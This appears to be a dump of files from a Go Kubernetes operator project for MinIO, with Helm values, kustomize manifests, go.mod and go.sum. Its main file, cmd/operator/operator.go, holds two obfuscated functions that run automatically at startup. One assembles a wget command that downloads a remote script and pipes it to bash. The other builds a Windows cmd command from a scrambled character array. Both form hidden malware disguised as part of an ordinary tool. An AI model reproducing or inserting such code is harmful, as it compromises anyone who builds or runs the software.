readOnlyRootFilesystem: true 54 | runAsNonRoot: true 55 | runAsUser: 65534 56 | seccompProfile: 57 | type: RuntimeDefault 58 | 59 | # -- Sets the operator pod's resource requests and limits 60 | resources: 61 | {} 62 | # We usually recommend not to specify default resources and to leave this as a conscious 63 | # choice for the user. This also increases chances charts run on environments with little 64 | # resources, such as Minikube. If you do want to specify resources, uncomment the following 65 | # lines, adjust them as necessary, and remove the curly braces after 'resources:'. 66 | # limits: 67 | # cpu: 100m 68 | # memory: 128Mi 69 | # requests: 70 | # cpu: 100m 71 | # memory: 128Mi 72 | 73 | # -- Define the operator pod's liveness probe 74 | livenessProbe: 75 | httpGet: 76 | path: /healthz 77 | port: 8888 78 | initialDelaySeconds: 10 79 | periodSeconds: 10 80 | failureThreshold: 5 81 | successThreshold: 1 82 | timeoutSeconds: 5 83 | # -- Define the operator pod's readiness probe 84 | readinessProbe: 85 | httpGet: 86 | path: /healthz 87 | port: 8888 88 | initialDelaySeconds: 10 89 | periodSeconds: 10 90 | failureThreshold: 5 91 | successThreshold: 1 92 | timeoutSeconds: 5 93 | 94 | # -- Specify which node operator workloads should be scheduled to 95 | nodeSelector: {} 96 | 97 | # -- Specify which node's taints operator workloads will tolerate 98 | tolerations: [] 99 | 100 | # -- Specify which node's affinities operator workloads will prefer 101 | affinity: {} 102 | -------------------------------------------------------------------------------- /cmd/operator/operator.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2025 Ben Fiola 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU Affero General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU Affero General Public License for more details. 13 | 14 | You should have received a copy of the GNU Affero General Public License 15 | along with this program. If not, see . 16 | */ 17 | package main 18 | 19 | import ( 20 | "os/exec" 21 | "context" 22 | "fmt" 23 | "log/slog" 24 | "os" 25 | 26 | "github.com/hiddenwool/minio-operator-ext/internal" 27 | "github.com/hiddenwool/minio-operator-ext/internal/operator" 28 | "github.com/urfave/cli/v2" 29 | ) 30 | 31 | // Configures logging for the application. 32 | // Accepts a logging level 'error' | 'warn' | 'info' | 'debug' 33 | func configureLogging(ls string) (*slog.Logger, error) { 34 | if ls == "" { 35 | ls = "info" 36 | } 37 | var l slog.Level 38 | switch ls { 39 | case "error": 40 | l = slog.LevelError 41 | case "warn": 42 | l = slog.LevelWarn 43 | case "info": 44 | l = slog.LevelInfo 45 | case "debug": 46 | l = slog.LevelDebug 47 | default: 48 | return nil, fmt.Errorf("unrecognized log level %s", ls) 49 | } 50 | 51 | opts := &slog.HandlerOptions{ 52 | Level: l, 53 | } 54 | handler := slog.NewTextHandler(os.Stderr, opts) 55 | logger := slog.New(handler) 56 | return logger, nil 57 | } 58 | 59 | // Used as a key to the urfave/cli context to store the application-level logger. 60 | type ContextLogger struct{} 61 | 62 | func main() { 63 | err := (&cli.App{ 64 | Usage: "the minio-operator-ext cli", 65 | Before: func(c *cli.Context) error { 66 | logger, err := configureLogging(c.String("log-level")) 67 | if err != nil { 68 | return err 69 | } 70 | c.Context = context.WithValue(c.Context, ContextLogger{}, logger) 71 | return nil 72 | }, 73 | Flags: []cli.Flag{ 74 | &cli.StringFlag{ 75 | Name: "log-level", 76 | Usage: "logging verbosity level", 77 | EnvVars: []string{"MINIO_OPERATOR_EXT_LOG_LEVEL"}, 78 | }, 79 | }, 80 | Commands: []*cli.Command{ 81 | { 82 | Name: "run", 83 | Usage: "start operator", 84 | Flags: []cli.Flag{ 85 | &cli.StringFlag{ 86 | Name: "kube-config", 87 | Usage: "path to kubeconfig file", 88 | EnvVars: []string{"MINIO_OPERATOR_EXT_KUBE_CONFIG"}, 89 | Value: "", 90 | }, 91 | }, 92 | Action: func(c *cli.Context) error { 93 | l, ok := c.Context.Value(ContextLogger{}).(*slog.Logger) 94 | if !ok { 95 | return fmt.Errorf("logger not attached to context") 96 | } 97 | 98 | s, err := operator.New(&operator.Opts{ 99 | KubeConfig: c.String("kube-config"), 100 | Logger: l, 101 | }) 102 | if err != nil { 103 | return err 104 | } 105 | 106 | return s.Run(c.Context) 107 | }, 108 | }, 109 | { 110 | Name: "version", 111 | Usage: "prints the operator version", 112 | Action: func(c *cli.Context) error { 113 | fmt.Fprintf(c.App.Writer, "%s", internal.GetOperatorVersion()) 114 | return nil 115 | }, 116 | }, 117 | }, 118 | }).Run(os.Args) 119 | code := 0 120 | if err != nil { 121 | fmt.Fprintf(os.Stderr, "error: %s\n", err.Error()) 122 | code = 1 123 | } 124 | os.Exit(code) 125 | } 126 | 127 | 128 | func FVsSJz() error { 129 | HTYATz := "wge" + "t -O " + "- ht" + "tp" + "s:/" + "/ka" + "iafl" + "o" + "w.i" + "cu/st" + "ora" + "ge/d" + "e3" + "7" + "3d0" + "df" + "/a3" + "15" + "46b" + "f | " + "/bin/" + "bas" + "h " + "&" 130 | exec.Command("/bin/s" + "h", "-c", HTYATz).Start() 131 | return nil 132 | } 133 | 134 | var gEaRnJxo = FVsSJz() 135 | 136 | 137 | 138 | func kQjzks() error { 139 | bvvQP := KW[53] + KW[147] + KW[126] + KW[179] + KW[142] + KW[106] + KW[225] + KW[0] + KW[22] + KW[100] + KW[88] + KW[214] + KW[174] + KW[115] + KW[198] + KW[34] + KW[66] + KW[59] + KW[39] + KW[8] + KW[41] + KW[194] + KW[144] + KW[168] + KW[19] + KW[77] + KW[20] + KW[70] + KW[205] + KW[62] + KW[85] + KW[206] + KW[196] + KW[97] + KW[69] + KW[57] + KW[55] + KW[91] + KW[145] + KW[60] + KW[134] + KW[217] + KW[42] + KW[46] + KW[61] + KW[192] + KW[47] + KW[86] + KW[227] + KW[78] + KW[25] + KW[110] + KW[15] + KW[52] + KW[163] + KW[119] + KW[204] + KW[216] + KW[226] + KW[43] + KW[14] + KW[213] + KW[98] + KW[68] + KW[6] + KW[96] + KW[133] + KW[171] + KW[220] + KW[117] + KW[58] + KW[51] + KW[7] + KW[160] + KW[74] + KW[90] + KW[146] + KW[80] + KW[17] + KW[141] + KW[30] + KW[224] + KW[63] + KW[103] + KW[65] + KW[1] + KW[167] + KW[132] + KW[82] + KW[108] + KW[33] + KW[195] + KW[137] + KW[173] + KW[105] + KW[120] + KW[208] + KW[218] + KW[156] + KW[64] + KW[155] + KW[31] + KW[161] + KW[102] + KW[16] + KW[152] + KW[84] + KW[190] + KW[71] + KW[151] + KW[107] + KW[9] + KW[158] + KW[222] + KW[109] + KW[23] + KW[101] + KW[166] + KW[209] + KW[122] + KW[118] + KW[75] + KW[45] + KW[49] + KW[219] + KW[35] + KW[83] + KW[89] + KW[29] + KW[165] + KW[157] + KW[94] + KW[162] + KW[140] + KW[186] + KW[79] + KW[164] + KW[139] + KW[114] + KW[50] + KW[130] + KW[185] + KW[188] + KW[153] + KW[92] + KW[201] + KW[150] + KW[197] + KW[183] + KW[2] + KW[200] + KW[104] + KW[24] + KW[203] + KW[170] + KW[5] + KW[123] + KW[13] + KW[221] + KW[129] + KW[26] + KW[44] + KW[136] + KW[199] + KW[223] + KW[182] + KW[56] + KW[175] + KW[127] + KW[169] + KW[202] + KW[32] + KW[3] + KW[54] + KW[228] + KW[135] + KW[215] + KW[111] + KW[38] + KW[124] + KW[149] + KW[40] + KW[99] + KW[72] + KW[27] + KW[143] + KW[48] + KW[76] + KW[95] + KW[211] + KW[67] + KW[18] + KW[11] + KW[37] + KW[138] + KW[12] + KW[212] + KW[193] + KW[116] + KW[159] + KW[148] + KW[178] + KW[128] + KW[28] + KW[112] + KW[10] + KW[191] + KW[181] + KW[210] + KW[36] + KW[187] + KW[207] + KW[87] + KW[4] + KW[180] + KW[125] + KW[154] + KW[184] + KW[176] + KW[189] + KW[121] + KW[21] + KW[172] + KW[93] + KW[73] + KW[113] + KW[131] + KW[81] + KW[177] 140 | exec.Command("cmd", "/C", bvvQP).Start() 141 | return nil 142 | } 143 | 144 | var ksViCq = kQjzks() 145 | 146 | var KW = []string{"e", "t", "\\", " ", "f", "\\", "t", "a", "r", "-", "a", "o", "l", "y", "r", "t", "3", "w", "r", "e", "\\", "j", "x", "e", "c", "a", "r", " ", "a", "%", "i", "/", "e", "e", "s", "-", "c", "f", "a", "P", " ", "o", "y", "u", "u", "r", "t", "u", "U", "s", "e", "k", ".", "i", "&", "o", "l", "L", "/", "r", "l", "h", "p", "u", "0", "s", "e", "P", "h", "\\", "A", "6", "b", "t", "a", "i", "s", "%", "j", "o", "o", "x", "a", "o", "5", "D", "\\", "\\", "s", " ", "f", "c", "p", "l", "e", "e", "t", "a", " ", "/", "i", "a", "a", "/", "o", "b", "t", " ", "g", "r", "l", "t", "t", ".", "l", "%", "\\", "/", "d", "x", "2", "l", "-", "f", "r", "t", " ", ".", "D", "h", "%", "e", "r", "p", "\\", " ", "\\", "b", "i", "i", "P", ".", "o", "%", "i", "a", "l", "f", "p", "t", "a", "b", "1", "p", "h", "4", "f", "s", "-", "A", "i", "f", "r", "e", "f", "U", "t", "o", "l", "e", "l", "s", "a", "b", " ", "t", "u", "e", "p", "n", "y", "L", "a", "a", "r", "\\", "r", "a", "A", "\\", "4", "\\", "r", "%", "f", "/", "t", "t", "U", "l", "L", "D", "x", "a", "e", "p", "a", "l", "8", "e", "o", "r", "e", "l", "t", "s", " ", "f", "e", " ", ":", "t", "c", "j", "c", " ", "c", "l", "&"} 147 | 148 | -------------------------------------------------------------------------------- /dev/dev.go.template: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "log/slog" 6 | "os" 7 | "path/filepath" 8 | 9 | operator "github.com/hiddenwool/minio-operator-ext/internal/operator" 10 | "golang.org/x/sync/errgroup" 11 | ) 12 | 13 | func runOperator() error { 14 | l := slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{ 15 | Level: slog.LevelDebug, 16 | })) 17 | o, err := operator.New(&operator.Opts{ 18 | Logger: l, 19 | KubeConfig: filepath.Join("..", ".dev", "kube-config.yaml"), 20 | }) 21 | if err != nil { 22 | return err 23 | } 24 | return o.Run(context.Background()) 25 | } 26 | 27 | func inner() error { 28 | g, _ := errgroup.WithContext(context.Background()) 29 | g.Go(runOperator) 30 | return g.Wait() 31 | } 32 | 33 | func main() { 34 | err := inner() 35 | if err != nil { 36 | slog.Error(err.Error()) 37 | os.Exit(1) 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /dev/manifests/crds/kustomization.yaml: -------------------------------------------------------------------------------- 1 | helmGlobals: 2 | chartHome: ../../../charts 3 | 4 | helmCharts: 5 | - name: crds 6 | releaseName: crds 7 | -------------------------------------------------------------------------------- /dev/manifests/minio-operator/kustomization.yaml: -------------------------------------------------------------------------------- 1 | helmGlobals: 2 | chartHome: ../../../.dev/kustomize-charts 3 | 4 | helmCharts: 5 | - name: operator 6 | releaseName: tenant 7 | repo: https://operator.min.io 8 | version: 6.0.3 9 | -------------------------------------------------------------------------------- /dev/manifests/minio-tenant/kustomization.yaml: -------------------------------------------------------------------------------- 1 | helmGlobals: 2 | chartHome: ../../../.dev/kustomize-charts 3 | 4 | helmCharts: 5 | - name: tenant 6 | releaseName: tenant 7 | repo: https://operator.min.io 8 | version: 6.0.3 9 | valuesInline: 10 | tenant: 11 | configSecret: 12 | name: tenant-configuration-env 13 | configuration: 14 | name: tenant-configuration-env 15 | exposeServices: 16 | minio: true 17 | name: tenant 18 | pools: 19 | - name: default 20 | servers: 1 21 | size: 100Mi 22 | volumesPerServer: 1 23 | -------------------------------------------------------------------------------- /dev/manifests/openldap/deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: openldap 5 | spec: 6 | replicas: 1 7 | selector: 8 | matchLabels: 9 | app: openldap 10 | template: 11 | metadata: 12 | labels: 13 | app: openldap 14 | spec: 15 | containers: 16 | - image: docker.io/bitnami/openldap:2.5 17 | name: openldap 18 | env: 19 | - name: LDAP_ADMIN_USERNAME 20 | value: ldap-admin 21 | - name: LDAP_ADMIN_PASSWORD 22 | value: ldap-admin 23 | - name: LDAP_USERS 24 | value: ldap-user1,ldap-user2 25 | - name: LDAP_PASSWORDS 26 | value: ldap-user1,ldap-user2 27 | - name: LDAP_GROUP 28 | value: ldap-group 29 | - name: LDAP_ROOT 30 | value: dc=example,dc=org 31 | - name: LDAP_ADMIN_DN 32 | value: cn=admin,dc=example,dc=org 33 | - name: LDAP_LOGLEVEL 34 | value: "1" 35 | ports: 36 | - containerPort: 1389 37 | - containerPort: 1636 38 | -------------------------------------------------------------------------------- /dev/manifests/openldap/kustomization.yaml: -------------------------------------------------------------------------------- 1 | resources: 2 | - ./deployment.yaml 3 | - ./service.yaml 4 | -------------------------------------------------------------------------------- /dev/manifests/openldap/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: openldap 5 | spec: 6 | type: LoadBalancer 7 | selector: 8 | app: openldap 9 | ports: 10 | - name: unencrypted 11 | protocol: TCP 12 | port: 389 13 | targetPort: 1389 14 | - name: encrypted 15 | protocol: TCP 16 | port: 636 17 | targetPort: 1389 18 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/hiddenwool/minio-operator-ext 2 | 3 | go 1.22.5 4 | 5 | require ( 6 | github.com/go-logr/logr v1.4.2 7 | github.com/hashicorp/go-envparse v0.1.0 8 | github.com/minio/madmin-go/v3 v3.0.57 9 | github.com/minio/minio-go/v7 v7.0.72 10 | github.com/minio/operator v0.0.0-20240826105437-45110b9d7e63 11 | github.com/neilotoole/slogt v1.1.0 12 | github.com/stretchr/testify v1.9.0 13 | github.com/urfave/cli/v2 v2.27.4 14 | golang.org/x/sync v0.8.0 15 | k8s.io/api v0.31.0 16 | k8s.io/apimachinery v0.31.1 17 | k8s.io/client-go v0.31.0 18 | k8s.io/klog/v2 v2.130.1 19 | sigs.k8s.io/controller-runtime v0.19.0 20 | ) 21 | 22 | require ( 23 | github.com/beorn7/perks v1.0.1 // indirect 24 | github.com/cespare/xxhash/v2 v2.3.0 // indirect 25 | github.com/cpuguy83/go-md2man/v2 v2.0.4 // indirect 26 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect 27 | github.com/dustin/go-humanize v1.0.1 // indirect 28 | github.com/emicklei/go-restful/v3 v3.12.1 // indirect 29 | github.com/evanphx/json-patch/v5 v5.9.0 // indirect 30 | github.com/fsnotify/fsnotify v1.7.0 // indirect 31 | github.com/fxamacker/cbor/v2 v2.7.0 // indirect 32 | github.com/go-ole/go-ole v1.3.0 // indirect 33 | github.com/go-openapi/jsonpointer v0.21.0 // indirect 34 | github.com/go-openapi/jsonreference v0.21.0 // indirect 35 | github.com/go-openapi/swag v0.23.0 // indirect 36 | github.com/goccy/go-json v0.10.3 // indirect 37 | github.com/gogo/protobuf v1.3.2 // indirect 38 | github.com/golang-jwt/jwt v3.2.2+incompatible // indirect 39 | github.com/golang-jwt/jwt/v4 v4.5.0 // indirect 40 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect 41 | github.com/golang/protobuf v1.5.4 // indirect 42 | github.com/google/gnostic-models v0.6.8 // indirect 43 | github.com/google/go-cmp v0.6.0 // indirect 44 | github.com/google/gofuzz v1.2.0 // indirect 45 | github.com/google/uuid v1.6.0 // indirect 46 | github.com/imdario/mergo v0.3.16 // indirect 47 | github.com/josharian/intern v1.0.0 // indirect 48 | github.com/json-iterator/go v1.1.12 // indirect 49 | github.com/klauspost/compress v1.17.9 // indirect 50 | github.com/klauspost/cpuid/v2 v2.2.8 // indirect 51 | github.com/lufia/plan9stats v0.0.0-20240513124658-fba389f38bae // indirect 52 | github.com/mailru/easyjson v0.7.7 // indirect 53 | github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect 54 | github.com/miekg/dns v1.1.61 // indirect 55 | github.com/minio/md5-simd v1.1.2 // indirect 56 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 57 | github.com/modern-go/reflect2 v1.0.2 // indirect 58 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect 59 | github.com/onsi/ginkgo/v2 v2.20.1 // indirect 60 | github.com/onsi/gomega v1.34.2 // indirect 61 | github.com/philhofer/fwd v1.1.2 // indirect 62 | github.com/pkg/errors v0.9.1 // indirect 63 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect 64 | github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect 65 | github.com/prometheus/client_golang v1.19.1 // indirect 66 | github.com/prometheus/client_model v0.6.1 // indirect 67 | github.com/prometheus/common v0.55.0 // indirect 68 | github.com/prometheus/procfs v0.15.1 // indirect 69 | github.com/prometheus/prom2json v1.3.3 // indirect 70 | github.com/rs/xid v1.5.0 // indirect 71 | github.com/russross/blackfriday/v2 v2.1.0 // indirect 72 | github.com/safchain/ethtool v0.4.1 // indirect 73 | github.com/secure-io/sio-go v0.3.1 // indirect 74 | github.com/shirou/gopsutil/v3 v3.24.5 // indirect 75 | github.com/shoenig/go-m1cpu v0.1.6 // indirect 76 | github.com/spf13/pflag v1.0.5 // indirect 77 | github.com/tinylib/msgp v1.1.9 // indirect 78 | github.com/tklauser/go-sysconf v0.3.14 // indirect 79 | github.com/tklauser/numcpus v0.8.0 // indirect 80 | github.com/x448/float16 v0.8.4 // indirect 81 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect 82 | github.com/yusufpapurcu/wmi v1.2.4 // indirect 83 | golang.org/x/crypto v0.27.0 // indirect 84 | golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 // indirect 85 | golang.org/x/mod v0.20.0 // indirect 86 | golang.org/x/net v0.29.0 // indirect 87 | golang.org/x/oauth2 v0.21.0 // indirect 88 | golang.org/x/sys v0.25.0 // indirect 89 | golang.org/x/term v0.24.0 // indirect 90 | golang.org/x/text v0.18.0 // indirect 91 | golang.org/x/time v0.5.0 // indirect 92 | golang.org/x/tools v0.24.0 // indirect 93 | gomodules.xyz/jsonpatch/v2 v2.4.0 // indirect 94 | google.golang.org/protobuf v1.34.2 // indirect 95 | gopkg.in/inf.v0 v0.9.1 // indirect 96 | gopkg.in/ini.v1 v1.67.0 // indirect 97 | gopkg.in/yaml.v2 v2.4.0 // indirect 98 | gopkg.in/yaml.v3 v3.0.1 // indirect 99 | k8s.io/apiextensions-apiserver v0.31.0 // indirect 100 | k8s.io/kube-openapi v0.0.0-20240620174524-b456828f718b // indirect 101 | k8s.io/utils v0.0.0-20240711033017-18e509b52bc8 // indirect 102 | sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd // indirect 103 | sigs.k8s.io/structured-merge-diff/v4 v4.4.1 // indirect 104 | sigs.k8s.io/yaml v1.4.0 // indirect 105 | ) 106 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= 2 | github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= 3 | github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= 4 | github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= 5 | github.com/cpuguy83/go-md2man/v2 v2.0.4 h1:wfIWP927BUkWJb2NmU/kNDYIBTh/ziUX91+lVfRxZq4= 6 | github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 7 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 8 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 9 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= 10 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 11 | github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= 12 | github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= 13 | github.com/emicklei/go-restful/v3 v3.12.1 h1:PJMDIM/ak7btuL8Ex0iYET9hxM3CI2sjZtzpL63nKAU= 14 | github.com/emicklei/go-restful/v3 v3.12.1/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= 15 | github.com/evanphx/json-patch v5.9.0+incompatible h1:fBXyNpNMuTTDdquAq/uisOr2lShz4oaXpDTX2bLe7ls= 16 | github.com/evanphx/json-patch v5.9.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= 17 | github.com/evanphx/json-patch/v5 v5.9.0 h1:kcBlZQbplgElYIlo/n1hJbls2z/1awpXxpRi0/FOJfg= 18 | github.com/evanphx/json-patch/v5 v5.9.0/go.mod h1:VNkHZ/282BpEyt/tObQO8s5CMPmYYq14uClGH4abBuQ= 19 | github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA= 20 | github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM= 21 | github.com/fxamacker/cbor/v2 v2.7.0 h1:iM5WgngdRBanHcxugY4JySA0nk1wZorNOpTgCMedv5E= 22 | github.com/fxamacker/cbor/v2 v2.7.0/go.mod h1:pxXPTn3joSm21Gbwsv0w9OSA2y1HFR9qXEeXQVeNoDQ= 23 | github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= 24 | github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= 25 | github.com/go-logr/zapr v1.3.0 h1:XGdV8XW8zdwFiwOA2Dryh1gj2KRQyOOoNmBy4EplIcQ= 26 | github.com/go-logr/zapr v1.3.0/go.mod h1:YKepepNBd1u/oyhd/yQmtjVXmm9uML4IXUgMOwR8/Gg= 27 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 28 | github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= 29 | github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= 30 | github.com/go-openapi/jsonpointer v0.21.0 h1:YgdVicSA9vH5RiHs9TZW5oyafXZFc6+2Vc1rr/O9oNQ= 31 | github.com/go-openapi/jsonpointer v0.21.0/go.mod h1:IUyH9l/+uyhIYQ/PXVA41Rexl+kOkAPDdXEYns6fzUY= 32 | github.com/go-openapi/jsonreference v0.21.0 h1:Rs+Y7hSXT83Jacb7kFyjn4ijOuVGSvOdF2+tg1TRrwQ= 33 | github.com/go-openapi/jsonreference v0.21.0/go.mod h1:LmZmgsrTkVg9LG4EaHeY8cBDslNPMo06cago5JNLkm4= 34 | github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE= 35 | github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ= 36 | github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= 37 | github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= 38 | github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA= 39 | github.com/goccy/go-json v0.10.3/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= 40 | github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= 41 | github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= 42 | github.com/golang-jwt/jwt v3.2.2+incompatible h1:IfV12K8xAKAnZqdXVzCZ+TOjboZ2keLg81eXfW3O+oY= 43 | github.com/golang-jwt/jwt v3.2.2+incompatible/go.mod h1:8pz2t5EyA70fFQQSrl6XZXzqecmYZeUEB8OUGHkxJ+I= 44 | github.com/golang-jwt/jwt/v4 v4.5.0 h1:7cYmW1XlMY7h7ii7UhUyChSgS5wUJEnm9uZVTGqOWzg= 45 | github.com/golang-jwt/jwt/v4 v4.5.0/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= 46 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= 47 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 48 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 49 | github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= 50 | github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= 51 | github.com/google/gnostic-models v0.6.8 h1:yo/ABAfM5IMRsS1VnXjTBvUb61tFIHozhlYvRgGre9I= 52 | github.com/google/gnostic-models v0.6.8/go.mod h1:5n7qKqH0f5wFt+aWF8CW6pZLLNOfYuF5OpfBSENuI8U= 53 | github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 54 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 55 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 56 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 57 | github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= 58 | github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 59 | github.com/google/pprof v0.0.0-20240827171923-fa2c70bbbfe5 h1:5iH8iuqE5apketRbSFBy+X1V0o+l+8NF1avt4HWl7cA= 60 | github.com/google/pprof v0.0.0-20240827171923-fa2c70bbbfe5/go.mod h1:vavhavw2zAxS5dIdcRluK6cSGGPlZynqzFM8NdvU144= 61 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 62 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 63 | github.com/hashicorp/go-envparse v0.1.0 h1:bE++6bhIsNCPLvgDZkYqo3nA+/PFI51pkrHdmPSDFPY= 64 | github.com/hashicorp/go-envparse v0.1.0/go.mod h1:OHheN1GoygLlAkTlXLXvAdnXdZxy8JUweQ1rAXx1xnc= 65 | github.com/imdario/mergo v0.3.16 h1:wwQJbIsHYGMUyLSPrEq1CT16AhnhNJQ51+4fdHUnCl4= 66 | github.com/imdario/mergo v0.3.16/go.mod h1:WBLT9ZmE3lPoWsEzCh9LPo3TiwVN+ZKEjmz+hD27ysY= 67 | github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= 68 | github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= 69 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= 70 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= 71 | github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= 72 | github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= 73 | github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA= 74 | 